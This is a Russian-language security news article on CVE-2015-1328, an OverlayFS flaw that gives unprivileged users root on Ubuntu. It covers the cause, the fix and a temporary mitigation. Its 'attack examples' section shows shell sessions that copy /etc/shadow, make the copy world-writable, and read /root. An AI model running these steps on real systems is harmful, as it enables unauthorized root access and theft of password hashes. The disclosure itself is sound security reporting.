В реализации файловой системы OverlayFS выявлена уязвимость (CVE-2015-1328), которую можно использовать для получения root-доступа на системах, в которых разрешено монтирование разделов OverlayFS непривилегированным пользователем. Достаточные для эксплуатации уязвимости настройки по умолчанию применяются во всех поддерживаемых ветках Ubuntu (12.04, 14.04, 14.10 и 15.04).
Разработчики Ubuntu уже оперативно выпустили обновление ядра Linux с исправленным модулем OverlayFS. Подверженность других дистрибутивов данной проблеме пока не подтверждена. В качестве временной меры защиты можно удалить или поместить в чёрный список модуль ядра overlayfs.ko (или overlay.ko).
Уязвимость вызвана некорректной проверкой прав доступа при создании новых файлов в директории нижележащей родительской файловой системы. Если ядро собрано с опцией "CONFIG_USER_NS=y" (включение пользовательских пространств имён) и при монтировании использован флаг FS_USERNS_MOUNT, имеется возможность монтирования OverlayFS обычным пользователем в отдельном пространстве имён, в котором в том числе допускаются операции с правами root, распространяющиеся только на данное пространство имён.
Напомним, что пространства имён для идентификаторов пользователей (user namespaces) позволяют сформировать в контейнерах собственные наборы идентификаторов групп и пользователей, а также связанные с ними привилегии (например, в каждом контейнере/пространстве имён может быть свой root). Например, определённый пользователь может получить в контейнере особенные привилегии, которые отсутствуют у него вне контейнера, или процесс внутри контейнера может получить права root, но остаться непривилегированным вне контейнера.
Суть проблемы в том, что привилегированные операции с файлами, выполненные в созданном пространстве имён, при использовании раздела OverlayFS остаются привилегированными и при выполнении действий с нижележащей ФС. Например, можно подключить в OverlayFS системный раздел /etc и модифицировать файл с паролями, посмотреть/заменить содержимое любых закрытых директорий и файлов. Опасность проблемы продемонстрирована готовым эксплоитом, позволяющим запустить shell с правами root через создание доступного на запись файла /etc/ld.so.preload.
Примеры атак.
Создадим полную копию файла /etc/shadow (в примерах под пользователем root подразумевается суперпользователь в пространстве имён, созданном обычным пользователем)
$ ./create-namespace
# mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
# chmod 777 work/work/
# cd o
# mv shadow copy_of_shadow
(выход из созданного namespace)
$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d Inode: 939791 Links: 1
Device: 801h/2049d Inode: 277668 Links: 1
Поменяем права на файл и вернём его в директорию /etc (/etc монтируем как upperdir, а ранее созданную директорию как lowerdir, т.е. меняем upperdir и lowerdir местами):
$ ./create-namespace
# mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
# chmod 777 work/work/
# cd o
# chmod 777 copy_of_shadow
~/o# exit
~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
Посмотрим содержимое директории /root:
$ ls -al /root
ls: cannot open directory /root: Permission denied
$ mkdir o upper work
$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ? ? ? ? .bash_history
-????????? ? ? ? ? ? .bashrc
d????????? ? ? ? ? ? .cache
-????????? ? ? ? ? ? .lesshst
d????????? ? ? ? ? ? linux-3.19.0
|